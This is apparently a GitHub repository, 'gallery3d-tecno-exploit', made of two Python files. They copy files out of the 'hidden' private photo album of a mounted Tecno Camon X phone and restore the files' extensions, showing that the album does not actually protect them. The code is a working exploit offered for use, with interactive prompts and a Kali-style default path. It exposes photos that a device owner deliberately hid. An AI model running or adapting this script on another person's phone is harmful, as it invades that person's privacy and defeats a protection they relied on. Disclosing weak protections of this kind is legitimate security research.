An automated script to extract hidden images from Tecno Camon X
# author : @tahaafarooq
# date : 22/09/2023
# desc : pewpew

import os
import shutil
import platform
import mimetypes


# check operating system
def check_os():
    system = platform.system()
    if system == "Windows":
        return "Windows"
    elif system == "Linux":
        return "Linux"


class RunExploit(object):
    def __init__(self):
        self.author = "@tahaafarooq"

    def check_hidden_image_folder(self, path):
        folder = f"{path}/Internal shared storage/Android/data/com.android.gallery3d/.privatealbum/.encryptfiles/"
        if os.path.exists(folder):
            return "Found"
        else:
            return "Not Found"

    def unhide_images(self, path, destination):
        folder = f"{path}/Internal shared storage/Android/data/com.android.gallery3d/.privatealbum/.encryptfiles/"
        files = os.listdir(folder)

        for file in files:
            sf_path = os.path.join(folder, file)

            mt, _ = mimetypes.guess_type(sf_path)

            if mt:
                ext = mimetypes.guess_extension(mt)
                if ext:
                    new_file_name = f"{os.path.splitext(file)[0]}{ext}"
                    df_path = os.path.join(destination, new_file_name)
                else:
                    df_path = os.path.join(destination, file)
            else:
                df_path = os.path.join(destination, file)

            shutil.copy(sf_path, df_path)

        print("Images Unhidden! Abracadabra!")

        return "Done"

functions.py
tahaafarooq/gallery3d-tecno-exploit
# author : @tahaafarooq
# date : 22/09/2023
# desc : pewpew

import sys
from functions import RunExploit, check_os

if __name__ == "__main__":
    operating_system = check_os()
    if operating_system == "Windows":
        print("Sorry Mate! This Script Doesn't Run On Windows Yet!")
        sys.exit(0)
    elif operating_system == "Linux":
        source_path = input("Please Enter Your Mobile Mounted Path : ")
        dest_path = input("Please Enter Path To Save Unhidden Images (/home/kali/Documents/) : ")

        check_app_avlb = RunExploit().check_hidden_image_folder(source_path)

        if check_app_avlb == "Found":
            print("Revealing Hidden Images Now...")
            proc_unhide = RunExploit().unhide_images(source_path, dest_path)
            if proc_unhide == "Done":
                print(f"Please Open {dest_path} To View The Images")
            else:
                print("Unable To Reveal Images")
        else:
            print("Oops! Looks Like This Model Doesn't Have The Feature!")

run.py
tahaafarooq/gallery3d-tecno-exploit